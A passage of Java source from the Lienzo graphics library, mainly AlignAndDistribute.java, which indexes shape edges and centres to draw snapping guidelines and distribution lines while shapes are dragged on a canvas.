y2 = h2.getBottom() + 5;
x3 = h.getLeft();
y3 = h.getBottom() + 5;
break;
}
drawPolyLine(index, bottom, x0, y0, x1, y1, false);
drawPolyLine(index + 1, bottom, x2, y2, x3, y3, false);
}
else
{
double right = h.getRight();
if (h1.getRight() > right)
{
right = h1.getRight();
}
if (h2.getRight() > right)
{
right = h2.getRight();
}
right = right + 20;
double x0 = 0, y0 = 0, x1 = 0, y1 = 0;
double x2 = 0, y2 = 0, x3 = 0, y3 = 0;
switch (dist.getDistributionType())
{
case DistributionEntry.TOP_DIST:
x0 = h.getRight() + 5;
y0 = h.getBottom();
x1 = h1.getRight() + 5;
y1 = h1.getTop();
x2 = h1.getRight() + 5;
y2 = h1.getBottom();
x3 = h2.getRight() + 5;
y3 = h2.getTop();
break;
case DistributionEntry.V_CENTER_DIST:
x0 = h1.getRight() + 5;
y0 = h1.getBottom();
x1 = h.getRight() + 5;
y1 = h.getTop();
x2 = h.getRight() + 5;
y2 = h.getBottom();
x3 = h2.getRight() + 5;
y3 = h2.getTop();
break;
case DistributionEntry.BOTTOM_DIST:
x0 = h1.getRight() + 5;
y0 = h1.getBottom();
x1 = h2.getRight();
y1 = h2.getTop();
x2 = h2.getRight() + 5;
y2 = h2.getBottom();
x3 = h.getRight() + 5;
y3 = h.getTop();
break;
}
drawPolyLine(index, right, x0, y0, x1, y1, true);
drawPolyLine(index + 1, right, x2, y2, x3, y3, true);
}
}
m_layer.batch();
}
else if (m_lines[index] != null)
{
removeLine(index, m_lines[index]);
removeLine(index + 1, m_lines[index + 1]);
m_layer.batch();
}
}
private void removeLine(int index, Shape<?> line)
{
m_layer.remove(line);
m_lines[index] = null;
}
private void drawPolyLine(int index, double edge, double x0, double y0, double x1, double y1, boolean vertical)
{
Point2DArray points;
if (vertical)
{
points = new Point2DArray(new Point2D(x0, y0), new Point2D(edge, y0), new Point2D(edge, y1), new Point2D(x1, y1));
}
else
{
points = new Point2DArray(new Point2D(x0, y0), new Point2D(x0, edge), new Point2D(x1, edge), new Point2D(x1, y1));
}
PolyLine pline = (PolyLine) m_lines[index];
if (pline == null)
{
pline = new PolyLine(points);
pline.setStrokeWidth(m_strokeWidth);
pline.setStrokeColor(m_strokeColor);
pline.setDashArray(m_dashArray);
m_lines[index] = pline;
m_layer.add(pline);
}
else
{
pline.setPoints(points);
}
}
private void drawHorizontalLine(AlignAndDistributeHandler handler, double pos, LinkedList<AlignAndDistributeHandler> shapes, int index)
{
double left = handler.getLeft();
double right = handler.getRight();
for (AlignAndDistributeHandler otherHandler : shapes)
{
double newLeft = otherHandler.getLeft();
double newRight = otherHandler.getRight();
if (newLeft < left)
{
left = newLeft;
}
if (newRight > right)
{
right = newRight;
}
}
drawHorizontalLine(pos, left, right, index);
}
private void drawHorizontalLine(double pos, double left, double right, int index)
{
Line line = (Line) m_lines[index];
if (line == null)
{
line = new Line(left, pos, right, pos);
line.setStrokeWidth(m_strokeWidth);
line.setStrokeColor(m_strokeColor);
line.setDashArray(m_dashArray);
m_layer.add(line);
m_lines[index] = line;
}
else
{
line.setPoints(new Point2DArray(new Point2D(left, pos), new Point2D(right, pos)));
}
}
private void drawVerticalLine(AlignAndDistributeHandler handler, double pos, LinkedList<AlignAndDistributeHandler> shapes, int index)
{
double top = handler.getTop();
double bottom = handler.getBottom();
for (AlignAndDistributeHandler otherHandler : shapes)
{
double newTop = otherHandler.getTop();
double newBottom = otherHandler.getBottom();
if (newTop < top)
{
top = newTop;
}
if (newBottom > bottom)
{
bottom = newBottom;
}
}
drawVerticalLine(pos, top, bottom, index);
}
private void drawVerticalLine(double pos, double top, double bottom, int index)
{
Line line = (Line) m_lines[index];
if (line == null)
{
line = new Line(pos, top, pos, bottom);
line.setStrokeWidth(m_strokeWidth);
line.setStrokeColor(m_strokeColor);
line.setDashArray(m_dashArray);
m_layer.add(line);
m_lines[index] = line;
}
else
{
line.setPoints(new Point2DArray(new Point2D(pos, top), new Point2D(pos, bottom)));
}
}
}
}
| src/main/java/com/ait/lienzo/client/core/shape/wires/AlignAndDistribute.java |
package com.ait.lienzo.client.core.shape.wires;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.Set;
import com.ait.lienzo.client.core.Attribute;
import com.ait.lienzo.client.core.event.AttributesChangedEvent;
import com.ait.lienzo.client.core.event.AttributesChangedHandler;
import com.ait.lienzo.client.core.event.HandlerRegistrationManager;
import com.ait.lienzo.client.core.event.NodeDragEndEvent;
import com.ait.lienzo.client.core.event.NodeDragEndHandler;
import com.ait.lienzo.client.core.shape.Attributes;
import com.ait.lienzo.client.core.shape.Layer;
import com.ait.lienzo.client.core.shape.Line;
import com.ait.lienzo.client.core.shape.PolyLine;
import com.ait.lienzo.client.core.shape.Shape;
import com.ait.lienzo.client.core.types.BoundingBox;
import com.ait.lienzo.client.core.types.DashArray;
import com.ait.lienzo.client.core.types.NFastStringSet;
import com.ait.lienzo.client.core.types.Point2D;
import com.ait.lienzo.client.core.types.Point2DArray;
import com.ait.lienzo.client.widget.DragConstraintEnforcer;
import com.ait.lienzo.client.widget.DragContext;
import com.google.gwt.event.shared.HandlerRegistration;
import static com.ait.lienzo.client.core.AttributeOp.*;
/**
* This class indexes related classes for alignment and distribution.
*
* an index is maintained for each edge and center for alignment and distribution.
*
* All indexing is done by rounding the double value - using Math.round.
*
* It then uses this information to optional show guidelines or perform snapping. These can be turned on and off using the setter methods of this class
*
* It's possible to control the style of the guideline when drawn. By using the style setter methods of this class.
*
* The circa property controls the number of pixes to search from the current position. For instance a circle of 4, will search 4 pixels
* above and 4 pixels below the current y position, as well as 4 pixels to the left and 4 pixels to the right. As soon as the first index has a match, the search stops and snapping is done to that offset.
*
* The implementation is fairly generic and uses shape.getBoundingBox to do it's work. There is only one bit that is shape specific,
* which is the attribute listener, so the engine can determine if a shape has been moved or resized. For example in the case of a rectangle
* this is the x, y, w and h attributes - this would be different for other shapes. For this reason each shape that is to be indexed
* must have handler class that extends EdgeAndCenterIndexHandler. Currently only Rectangle and Circle has this. To make this invisible to the engine each shape
* has a method "public EdgeAndCenterIndexHandler getAlignAndDistributeHandler(EdgeAndCenterIndex edgeAndCenterIndex, AlignmentCallback alignmentCallback)"
* which encapsulates the shape specific part handler.
*
* The initial design actually allows for any generic callback when alignment is found - so users could provide their own listeners, if they wanted. However
* until a use case is found for this, it has not been exposed yet.
*/
public class AlignAndDistribute
{
private Map<Double, LinkedList<AlignAndDistributeHandler>> m_leftIndex;
private Map<Double, LinkedList<AlignAndDistributeHandler>> m_hCenterIndex;
private Map<Double, LinkedList<AlignAndDistributeHandler>> m_rightIndex;
private Map<Double, LinkedList<AlignAndDistributeHandler>> m_topIndex;
private Map<Double, LinkedList<AlignAndDistributeHandler>> m_vCenterIndex;
private Map<Double, LinkedList<AlignAndDistributeHandler>> m_bottomIndex;
private Map<Double, LinkedList<DistributionEntry>> m_leftDistIndex;
private Map<Double, LinkedList<DistributionEntry>> m_hCenterDistIndex;
private Map<Double, LinkedList<DistributionEntry>> m_rightDistIndex;
private Map<Double, LinkedList<DistributionEntry>> m_topDistIndex;
private Map<Double, LinkedList<DistributionEntry>> m_vCenterDistIndex;
private Map<Double, LinkedList<DistributionEntry>> m_bottomDistIndex;
private DefaultAlignAndDistributeMatchesCallback m_alignmentCallback;
private Map<String, AlignAndDistributeHandler> m_shapes = new HashMap<String, AlignAndDistributeHandler>();
private int m_circa = 4;
protected boolean m_snap = true;
protected boolean m_drawGuideLines = true;
public AlignAndDistribute(Layer layer)
{
m_leftIndex = new HashMap<Double, LinkedList<AlignAndDistributeHandler>>();
m_hCenterIndex = new HashMap<Double, LinkedList<AlignAndDistributeHandler>>();
m_rightIndex = new HashMap<Double, LinkedList<AlignAndDistributeHandler>>();
m_topIndex = new HashMap<Double, LinkedList<AlignAndDistributeHandler>>();
m_vCenterIndex = new HashMap<Double, LinkedList<AlignAndDistributeHandler>>();
m_bottomIndex = new HashMap<Double, LinkedList<AlignAndDistributeHandler>>();
m_alignmentCallback = new DefaultAlignAndDistributeMatchesCallback(layer);
m_leftDistIndex = new HashMap<Double, LinkedList<DistributionEntry>>();
m_hCenterDistIndex = new HashMap<Double, LinkedList<DistributionEntry>>();
m_rightDistIndex = new HashMap<Double, LinkedList<DistributionEntry>>();
m_topDistIndex = new HashMap<Double, LinkedList<DistributionEntry>>();
m_vCenterDistIndex = new HashMap<Double, LinkedList<DistributionEntry>>();
m_bottomDistIndex = new HashMap<Double, LinkedList<DistributionEntry>>();
}
public double getStrokeWidth()
{
return m_alignmentCallback.getStrokeWidth();
}
public void setStrokeWidth(double strokeWidth)
{
m_alignmentCallback.setStrokeWidth(strokeWidth);
}
public String getStrokeColor()
{
return m_alignmentCallback.getStrokeColor();
}
public void setStrokeColor(String strokeColor)
{
m_alignmentCallback.setStrokeColor(strokeColor);
}
public DashArray getDashArray()
{
return m_alignmentCallback.getDashArray();
}
public void setDashArray(DashArray dashArray)
{
m_alignmentCallback.setDashArray(dashArray);
}
public int getSnapCirca()
{
return m_circa;
}
public void setSnapCirca(int circa)
{
m_circa = circa;
}
public boolean isSnap()
{
return m_snap;
}
public void setSnap(boolean snap)
{
m_snap = snap;
}
public boolean isDrawGuideLines()
{
return m_drawGuideLines;
}
public void setDrawGuideLines(boolean drawGuideLines)
{
m_drawGuideLines = drawGuideLines;
}
public void addShape(Shape<?> shape)
{
AlignAndDistributeHandler handler = new AlignAndDistributeHandler(shape, this, m_alignmentCallback, shape.getBoundingBoxAttributes());
m_shapes.put(shape.uuid(), handler);
}
public void removeShape(Shape<?> shape)
{
AlignAndDistributeHandler handler = m_shapes.get(shape.uuid());
indexOff(handler);
m_shapes.remove(shape.uuid());
handler.removeHandlerRegistrations();
}
public void addAlignIndexEntry(Map<Double, LinkedList<AlignAndDistributeHandler>> index, AlignAndDistributeHandler handler, double pos)
{
double rounded = round(pos);
LinkedList<AlignAndDistributeHandler> bucket = index.get(rounded);
if (bucket == null)
{
bucket = new LinkedList<AlignAndDistributeHandler>();
index.put(rounded, bucket);
}
bucket.add(handler);
}
public void removeAlignIndexEntry(Map<Double, LinkedList<AlignAndDistributeHandler>> index, AlignAndDistributeHandler handler, double pos)
{
double rounded = round(pos);
LinkedList<AlignAndDistributeHandler> bucket = index.get(rounded);
bucket.remove(handler);
if (bucket.isEmpty())
{
index.remove(rounded);
}
}
public void addDistIndexEntry(Map<Double, LinkedList<DistributionEntry>> index, DistributionEntry dist)
{
LinkedList<DistributionEntry> bucket = index.get(dist.getPoint());
if (bucket == null)
{
bucket = new LinkedList<DistributionEntry>();
index.put(dist.getPoint(), bucket);
}
bucket.add(dist);
}
public void removeDistIndexEntry(Map<Double, LinkedList<DistributionEntry>> index, DistributionEntry dist)
{
LinkedList<DistributionEntry> bucket = index.get(dist.getPoint());
bucket.remove(dist);
if (bucket.isEmpty())
{
index.remove(dist.getPoint());
}
}
public void removeDistIndex(AlignAndDistributeHandler handler)
{
removeHorizontalDistIndex(handler);
removeVerticalDistIndex(handler);
}
public void removeHorizontalDistIndex(AlignAndDistributeHandler handler)
{
for (DistributionEntry dist : handler.getHorizontalDistributionEntries())
{
AlignAndDistributeHandler h1 = dist.getShape1();
AlignAndDistributeHandler h2 = dist.getShape2();
// make sure we don't remove from handler, or it will remove from the collection currently being iterated.
if (handler == h1)
{
h2.getHorizontalDistributionEntries().remove(dist);
}
else
{
h1.getHorizontalDistributionEntries().remove(dist);
}
switch (dist.getDistributionType())
{
case DistributionEntry.LEFT_DIST:
removeDistIndexEntry(m_leftDistIndex, dist);
break;
case DistributionEntry.H_CENTER_DIST:
removeDistIndexEntry(m_hCenterDistIndex, dist);
break;
case DistributionEntry.RIGHT_DIST:
removeDistIndexEntry(m_rightDistIndex, dist);
break;
}
}
handler.getHorizontalDistributionEntries().clear();
}
public void removeVerticalDistIndex(AlignAndDistributeHandler handler)
{
for (DistributionEntry dist : handler.getVerticalDistributionEntries())
{
AlignAndDistributeHandler h1 = dist.getShape1();
AlignAndDistributeHandler h2 = dist.getShape2();
// make sure we don't remove from handler, or it will remove from the collection currently being iterated.
if (handler == h1)
{
h2.getVerticalDistributionEntries().remove(dist);
}
else
{
h1.getVerticalDistributionEntries().remove(dist);
}
switch (dist.getDistributionType())
{
case DistributionEntry.TOP_DIST:
removeDistIndexEntry(m_topDistIndex, dist);
break;
case DistributionEntry.V_CENTER_DIST:
removeDistIndexEntry(m_vCenterDistIndex, dist);
break;
case DistributionEntry.BOTTOM_DIST:
removeDistIndexEntry(m_bottomDistIndex, dist);
break;
}
}
handler.getVerticalDistributionEntries().clear();
}
public void buildDistIndex(AlignAndDistributeHandler handler)
{
buildHorizontalDistIndex(handler);
buildVerticalDistIndex(handler);
}
public void buildHorizontalDistIndex(AlignAndDistributeHandler handler)
{
double left = round(handler.getLeft());
double right = round(handler.getRight());
for (AlignAndDistributeHandler otherH : m_shapes.values())
{
if (skipShape(handler, otherH))
{
continue;
}
double otherLeft = round(otherH.getLeft());
double otherRight = round(otherH.getRight());
DistributionEntry leftDist = null;
DistributionEntry hCenterDist = null;
DistributionEntry rightDist = null;
if (otherRight < left)
{
double dx = left - otherRight;
double leftPoint = otherLeft - dx;
double rightPoint = right + dx;
double centerPoint = round(otherRight + ((left - otherRight) / 2));
leftDist = new DistributionEntry(otherH, handler, leftPoint, DistributionEntry.LEFT_DIST);
hCenterDist = new DistributionEntry(otherH, handler, centerPoint, DistributionEntry.H_CENTER_DIST);
rightDist = new DistributionEntry(otherH, handler, rightPoint, DistributionEntry.RIGHT_DIST);
}
else if (otherLeft > right)
{
double dx = otherLeft - right;
double leftPoint = left - dx;
double rightPoint = otherRight + dx;
double centerPoint = round(otherLeft + ((right - otherLeft) / 2));
leftDist = new DistributionEntry(handler, otherH, leftPoint, DistributionEntry.LEFT_DIST);
hCenterDist = new DistributionEntry(handler, otherH, centerPoint, DistributionEntry.H_CENTER_DIST);
rightDist = new DistributionEntry(handler, otherH, rightPoint, DistributionEntry.RIGHT_DIST);
}
if (leftDist != null)
{
addDistIndexEntry(m_leftDistIndex, leftDist);
addDistIndexEntry(m_hCenterDistIndex, hCenterDist);
addDistIndexEntry(m_rightDistIndex, rightDist);
}
}
}
private boolean skipShape(AlignAndDistributeHandler handler, AlignAndDistributeHandler otherH)
{
if (otherH == handler || !otherH.isIndexed())
{
// don't index against yourself or shapes not indexed
return true;
}
return false;
}
public void buildVerticalDistIndex(AlignAndDistributeHandler handler)
{
double top = round(handler.getTop());
double bottom = round(handler.getBottom());
for (AlignAndDistributeHandler otherH : m_shapes.values())
{
if (skipShape(handler, otherH))
{
continue;
}
double otherTop = round(otherH.getTop());
double otherBottom = round(otherH.getBottom());
DistributionEntry topDist = null;
DistributionEntry vCenterDist = null;
DistributionEntry bottomDist = null;
if (otherBottom < top)
{
double dx = top - otherBottom;
double topPoint = otherTop - dx;
double bottomPoint = bottom + dx;
double centerPoint = round(otherBottom + ((top - otherBottom) / 2));
topDist = new DistributionEntry(otherH, handler, topPoint, DistributionEntry.TOP_DIST);
vCenterDist = new DistributionEntry(otherH, handler, centerPoint, DistributionEntry.V_CENTER_DIST);
bottomDist = new DistributionEntry(otherH, handler, bottomPoint, DistributionEntry.BOTTOM_DIST);
}
else if (otherTop > bottom)
{
double dx = otherTop - bottom;
double topPoint = top - dx;
double bottomPoint = otherBottom + dx;
double centerPoint = round(bottom + ((otherTop - bottom) / 2));
topDist = new DistributionEntry(handler, otherH, topPoint, DistributionEntry.TOP_DIST);
vCenterDist = new DistributionEntry(handler, otherH, centerPoint, DistributionEntry.V_CENTER_DIST);
bottomDist = new DistributionEntry(handler, otherH, bottomPoint, DistributionEntry.BOTTOM_DIST);
}
if (topDist != null)
{
addDistIndexEntry(m_topDistIndex, topDist);
addDistIndexEntry(m_vCenterDistIndex, vCenterDist);
addDistIndexEntry(m_bottomDistIndex, bottomDist);
}
}
}
public static class DistributionEntry
{
private static final int LEFT_DIST = 0;
private static final int H_CENTER_DIST = 1;
private static final int RIGHT_DIST = 2;
private static final int TOP_DIST = 3;
private static final int V_CENTER_DIST = 4;
private static final int BOTTOM_DIST = 5;
private AlignAndDistributeHandler m_shape1;
private AlignAndDistributeHandler m_shape2;
private double m_point;
private int m_distType;
public DistributionEntry(AlignAndDistributeHandler shape1, AlignAndDistributeHandler shape2, double point, int distType)
{
m_shape1 = shape1;
m_shape2 = shape2;
m_point = point;
m_distType = distType;
if (distType <= 2)
{
shape1.getHorizontalDistributionEntries().add(this);
shape2.getHorizontalDistributionEntries().add(this);
}
else
{
shape1.getVerticalDistributionEntries().add(this);
shape2.getVerticalDistributionEntries().add(this);
}
}
public AlignAndDistributeHandler getShape1()
{
return m_shape1;
}
public AlignAndDistributeHandler getShape2()
{
return m_shape2;
}
public double getPoint()
{
return m_point;
}
public int getDistributionType()
{
return m_distType;
}
}
public AlignAndDistributeMatches findNearestMatches(AlignAndDistributeHandler handler, double left, double hCenter, double right, double top, double vCenter, double bottom)
{
LinkedList<AlignAndDistributeHandler> leftList = null;
LinkedList<AlignAndDistributeHandler> hCenterList = null;
LinkedList<AlignAndDistributeHandler> rightList = null;
LinkedList<AlignAndDistributeHandler> topList = null;
LinkedList<AlignAndDistributeHandler> vCenterList = null;
LinkedList<AlignAndDistributeHandler> bottomList = null;
LinkedList<DistributionEntry> leftDistList = null;
LinkedList<DistributionEntry> hCenterDistList = null;
LinkedList<DistributionEntry> rightDistList = null;
LinkedList<DistributionEntry> topDistList = null;
LinkedList<DistributionEntry> vCenterDistList = null;
LinkedList<DistributionEntry> bottomDistList = null;
int hOffset = 0;
while (hOffset <= m_circa)
{
leftList = findNearestAlignIndexEntry(m_leftIndex, left + hOffset);
hCenterList = findNearestAlignIndexEntry(m_hCenterIndex, hCenter + hOffset);
rightList = findNearestAlignIndexEntry(m_rightIndex, right + hOffset);
leftDistList = findNearestDistIndexEntry(m_leftDistIndex, right + hOffset);
hCenterDistList = findNearestDistIndexEntry(m_hCenterDistIndex, hCenter + hOffset);
rightDistList = findNearestDistIndexEntry(m_rightDistIndex, left + hOffset);
if (matchFound(leftList, hCenterList, rightList, leftDistList, hCenterDistList, rightDistList))
{
break;
}
leftList = findNearestAlignIndexEntry(m_leftIndex, left - hOffset);
hCenterList = findNearestAlignIndexEntry(m_hCenterIndex, hCenter - hOffset);
rightList = findNearestAlignIndexEntry(m_rightIndex, right - hOffset);
leftDistList = findNearestDistIndexEntry(m_leftDistIndex, right - hOffset);
hCenterDistList = findNearestDistIndexEntry(m_hCenterDistIndex, hCenter - hOffset);
rightDistList = findNearestDistIndexEntry(m_rightDistIndex, left - hOffset);
if (matchFound(leftList, hCenterList, rightList, leftDistList, hCenterDistList, rightDistList))
{
hOffset = -hOffset;
break;
}
hOffset++;
}
int vOffset = 0;
while (vOffset <= m_circa)
{
topList = findNearestAlignIndexEntry(m_topIndex, top + vOffset);
vCenterList = findNearestAlignIndexEntry(m_vCenterIndex, vCenter + vOffset);
bottomList = findNearestAlignIndexEntry(m_bottomIndex, bottom + vOffset);
topDistList = findNearestDistIndexEntry(m_topDistIndex, bottom + vOffset);
vCenterDistList = findNearestDistIndexEntry(m_vCenterDistIndex, vCenter + vOffset);
bottomDistList = findNearestDistIndexEntry(m_bottomDistIndex, top + vOffset);
if (matchFound(topList, vCenterList, bottomList, topDistList, vCenterDistList, bottomDistList))
{
break;
}
topList = findNearestAlignIndexEntry(m_topIndex, top - vOffset);
vCenterList = findNearestAlignIndexEntry(m_vCenterIndex, vCenter - vOffset);
bottomList = findNearestAlignIndexEntry(m_bottomIndex, bottom - vOffset);
topDistList = findNearestDistIndexEntry(m_topDistIndex, bottom - vOffset);
vCenterDistList = findNearestDistIndexEntry(m_vCenterDistIndex, vCenter - vOffset);
bottomDistList = findNearestDistIndexEntry(m_bottomDistIndex, top - vOffset);
if (matchFound(topList, vCenterList, bottomList, topDistList, vCenterDistList, bottomDistList))
{
vOffset = -vOffset;
break;
}
vOffset++;
}
AlignAndDistributeMatches matches;
if (matchFound(leftList, hCenterList, rightList, leftDistList, hCenterDistList, rightDistList) || matchFound(topList, vCenterList, bottomList, topDistList, vCenterDistList, bottomDistList))
{
matches = new AlignAndDistributeMatches(handler, left + hOffset, leftList, hCenter + hOffset, hCenterList, right + hOffset, rightList, top + vOffset, topList, vCenter + vOffset, vCenterList, bottom + vOffset, bottomList, leftDistList, hCenterDistList, rightDistList, topDistList, vCenterDistList, bottomDistList);
}
else
{
matches = emptyAlignedMatches;
}
return matches;
}
private boolean matchFound(LinkedList<AlignAndDistributeHandler> l1, LinkedList<AlignAndDistributeHandler> l2, LinkedList<AlignAndDistributeHandler> l3, LinkedList<DistributionEntry> l4, LinkedList<DistributionEntry> l5, LinkedList<DistributionEntry> l6)
{
if (l1 != null || l2 != null || l3 != null || l4 != null || l5 != null || l6 != null)
{
return true;
}
return false;
}
private static LinkedList<AlignAndDistributeHandler> findNearestAlignIndexEntry(Map<Double, LinkedList<AlignAndDistributeHandler>> map, double pos)
{
double rounded = Math.round(pos);
LinkedList<AlignAndDistributeHandler> indexEntries = map.get(rounded);
return indexEntries;
}
private static LinkedList<DistributionEntry> findNearestDistIndexEntry(Map<Double, LinkedList<DistributionEntry>> map, double pos)
{
double rounded = Math.round(pos);
LinkedList<DistributionEntry> indexEntries = map.get(rounded);
return indexEntries;
}
private static final EmptyAlignAndDistributeMatches emptyAlignedMatches = new EmptyAlignAndDistributeMatches();
public static class EmptyAlignAndDistributeMatches extends AlignAndDistributeMatches
{
public EmptyAlignAndDistributeMatches()
{
m_hasMatch = false;
}
}
public void indexOff(AlignAndDistributeHandler handler)
{
removeAlignIndex(handler, handler.getLeft(), handler.getHorizontalCenter(), handler.getRight(), handler.getTop(), handler.getVerticalCenter(), handler.getBottom());
removeDistIndex(handler);
handler.setIndexed(false);
}
public void indexOn(AlignAndDistributeHandler handler)
{
buildAlignIndex(handler, handler.getLeft(), handler.getHorizontalCenter(), handler.getRight(), handler.getTop(), handler.getVerticalCenter(), handler.getBottom());
buildDistIndex(handler);
handler.setIndexed(true);
}
public void buildAlignIndex(AlignAndDistributeHandler handler, double left, double hCenter, double right, double top, double vCenter, double bottom)
{
addAlignIndexEntry(m_leftIndex, handler, left);
addAlignIndexEntry(m_hCenterIndex, handler, hCenter);
addAlignIndexEntry(m_rightIndex, handler, right);
addAlignIndexEntry(m_topIndex, handler, top);
addAlignIndexEntry(m_vCenterIndex, handler, vCenter);
addAlignIndexEntry(m_bottomIndex, handler, bottom);
}
public void removeAlignIndex(AlignAndDistributeHandler handler, double left, double hCenter, double right, double top, double vCenter, double bottom)
{
removeAlignIndexEntry(m_leftIndex, handler, left);
removeAlignIndexEntry(m_hCenterIndex, handler, hCenter);
removeAlignIndexEntry(m_rightIndex, handler, right);
removeAlignIndexEntry(m_topIndex, handler, top);
removeAlignIndexEntry(m_vCenterIndex, handler, vCenter);
removeAlignIndexEntry(m_bottomIndex, handler, bottom);
}
public void addLeftAlignIndexEntry(AlignAndDistributeHandler shape, double left)
{
addAlignIndexEntry(m_leftIndex, shape, left);
}
public void addHCenterAlignIndexEntry(AlignAndDistributeHandler shape, double hCenter)
{
addAlignIndexEntry(m_hCenterIndex, shape, hCenter);
}
public void addRightAlignIndexEntry(AlignAndDistributeHandler shape, double right)
{
addAlignIndexEntry(m_rightIndex, shape, right);
}
public void addTopAlignIndexEntry(AlignAndDistributeHandler shape, double top)
{
addAlignIndexEntry(m_topIndex, shape, top);
}
public void addVCenterAlignIndexEntry(AlignAndDistributeHandler shape, double vCenter)
{
addAlignIndexEntry(m_vCenterIndex, shape, vCenter);
}
public void addBottomAlignIndexEntry(AlignAndDistributeHandler shape, double bottom)
{
addAlignIndexEntry(m_bottomIndex, shape, bottom);
}
public void removeLeftAlignIndexEntry(AlignAndDistributeHandler shape, double left)
{
addAlignIndexEntry(m_leftIndex, shape, left);
}
public void removeHCenterAlignIndexEntry(AlignAndDistributeHandler shape, double hCenter)
{
removeAlignIndexEntry(m_hCenterIndex, shape, hCenter);
}
public void removeRightAlignIndexEntry(AlignAndDistributeHandler shape, double right)
{
removeAlignIndexEntry(m_rightIndex, shape, right);
}
public void removeTopAlignIndexEntry(AlignAndDistributeHandler shape, double top)
{
removeAlignIndexEntry(m_topIndex, shape, top);
}
public void removeVCenterAlignIndexEntry(AlignAndDistributeHandler shape, double vCenter)
{
removeAlignIndexEntry(m_vCenterIndex, shape, vCenter);
}
public void removeBottomAlignIndexEntry(AlignAndDistributeHandler shape, double bottom)
{
removeAlignIndexEntry(m_bottomIndex, shape, bottom);
}
public static class AlignAndDistributeMatches
{
private AlignAndDistributeHandler m_handler;
private double m_leftPos;
private LinkedList<AlignAndDistributeHandler> m_leftList;
private double m_hCenterPos;
private LinkedList<AlignAndDistributeHandler> m_hCenterList;
private double m_rightPos;
private LinkedList<AlignAndDistributeHandler> m_rightList;
private double m_topPos;
private LinkedList<AlignAndDistributeHandler> m_topList;
private double m_vCenterPos;
private LinkedList<AlignAndDistributeHandler> m_vCenterList;
private double m_bottomPos;
private LinkedList<AlignAndDistributeHandler> m_bottomList;
private LinkedList<DistributionEntry> m_leftDistList;
private LinkedList<DistributionEntry> m_hCenterDistList;
private LinkedList<DistributionEntry> m_rightDistList;
private LinkedList<DistributionEntry> m_topDistList;
private LinkedList<DistributionEntry> m_vCenterDistList;
private LinkedList<DistributionEntry> m_bottomDistList;
protected boolean m_hasMatch;
public AlignAndDistributeMatches()
{
}
public AlignAndDistributeMatches(AlignAndDistributeHandler handler, double leftPos, LinkedList<AlignAndDistributeHandler> leftList, double hCenterPos, LinkedList<AlignAndDistributeHandler> hCenterList, double rightPos, LinkedList<AlignAndDistributeHandler> rightList, double topPos, LinkedList<AlignAndDistributeHandler> topList, double vCenterPos, LinkedList<AlignAndDistributeHandler> vCenterList, double bottomPos, LinkedList<AlignAndDistributeHandler> bottomList, LinkedList<DistributionEntry> leftDistList, LinkedList<DistributionEntry> hCenterDistList, LinkedList<DistributionEntry> rightDistList, LinkedList<DistributionEntry> topDistList, LinkedList<DistributionEntry> vCenterDistList, LinkedList<DistributionEntry> bottomDistList)
{
m_handler = handler;
m_leftPos = leftPos;
m_leftList = leftList;
m_hCenterPos = hCenterPos;
m_hCenterList = hCenterList;
m_rightPos = rightPos;
m_rightList = rightList;
m_topPos = topPos;
m_topList = topList;
m_vCenterPos = vCenterPos;
m_vCenterList = vCenterList;
m_bottomPos = bottomPos;
m_bottomList = bottomList;
m_leftDistList = leftDistList;
m_hCenterDistList = hCenterDistList;
m_rightDistList = rightDistList;
m_topDistList = topDistList;
m_vCenterDistList = vCenterDistList;
m_bottomDistList = bottomDistList;
m_hasMatch = true;
}
public AlignAndDistributeHandler getHandler()
{
return m_handler;
}
public boolean hashMatch()
{
return m_hasMatch;
}
public LinkedList<AlignAndDistributeHandler> getLeftList()
{
return m_leftList;
}
public LinkedList<AlignAndDistributeHandler> getHorizontalCenterList()
{
return m_hCenterList;
}
public LinkedList<AlignAndDistributeHandler> getRightList()
{
return m_rightList;
}
public LinkedList<AlignAndDistributeHandler> getTopList()
{
return m_topList;
}
public LinkedList<AlignAndDistributeHandler> getVerticalCenterList()
{
return m_vCenterList;
}
public LinkedList<AlignAndDistributeHandler> getBottomList()
{
return m_bottomList;
}
public double getLeftPos()
{
return m_leftPos;
}
public double getHorizontalCenterPos()
{
return m_hCenterPos;
}
public double getRightPos()
{
return m_rightPos;
}
public double getTopPos()
{
return m_topPos;
}
public double getVerticalCenterPos()
{
return m_vCenterPos;
}
public double getBottomPos()
{
return m_bottomPos;
}
public LinkedList<DistributionEntry> getLeftDistList()
{
return m_leftDistList;
}
public LinkedList<DistributionEntry> getHorizontalCenterDistList()
{
return m_hCenterDistList;
}
public LinkedList<DistributionEntry> getRightDistList()
{
return m_rightDistList;
}
public LinkedList<DistributionEntry> getTopDistList()
{
return m_topDistList;
}
public LinkedList<DistributionEntry> getVerticalCenterDistList()
{
return m_vCenterDistList;
}
public LinkedList<DistributionEntry> getBottomDistList()
{
return m_bottomDistList;
}
}
public static double round(double value)
{
return Math.round(value);
}
public static class AlignAndDistributeHandler implements AttributesChangedHandler, DragConstraintEnforcer, NodeDragEndHandler
{
protected AlignAndDistribute m_alignAndDistribute;
protected Shape<?> m_shape;
protected BoundingBox m_box;
protected boolean m_isDraggable;
protected boolean m_isDragging;
protected HandlerRegistrationManager m_attrHandlerRegs;
protected HandlerRegistration m_dragEndHandlerReg;
protected AlignAndDistributeMatchesCallback m_alignAndDistributeMatchesCallback;
protected double m_startLeft;
protected double m_startTop;
protected double m_left;
protected double m_hCenter;
protected double m_right;
protected double m_top;
protected double m_vCenter;
protected double m_bottom;
protected Set<DistributionEntry> m_horizontalDistEntries;
protected Set<DistributionEntry> m_verticalDistEntries;
protected DragConstraintEnforcer m_enforcerDelegate;
private boolean indexed;
private final BooleanOp m_bboxOp;
private final BooleanOp m_tranOp;
public AlignAndDistributeHandler(Shape<?> shape, AlignAndDistribute alignAndDistribute, AlignAndDistributeMatchesCallback alignAndDistributeMatchesCallback, List<Attribute> attributes)
{
m_shape = shape;
m_alignAndDistribute = alignAndDistribute;
m_alignAndDistributeMatchesCallback = alignAndDistributeMatchesCallback;
m_box = shape.getBoundingBox();
double left = shape.getX() + m_box.getX();
double right = left + m_box.getWidth();
double top = shape.getY() + m_box.getY();
double bottom = top + m_box.getHeight();
captureHorizontalPositions(m_box, left, right);
captureVerticalPositions(m_box, top, bottom);
m_alignAndDistribute.indexOn(this);
if (m_shape.isDraggable())
{
dragOn();
}
m_attrHandlerRegs = new HandlerRegistrationManager();
final ArrayList<Attribute> temp = new ArrayList<Attribute>(attributes);
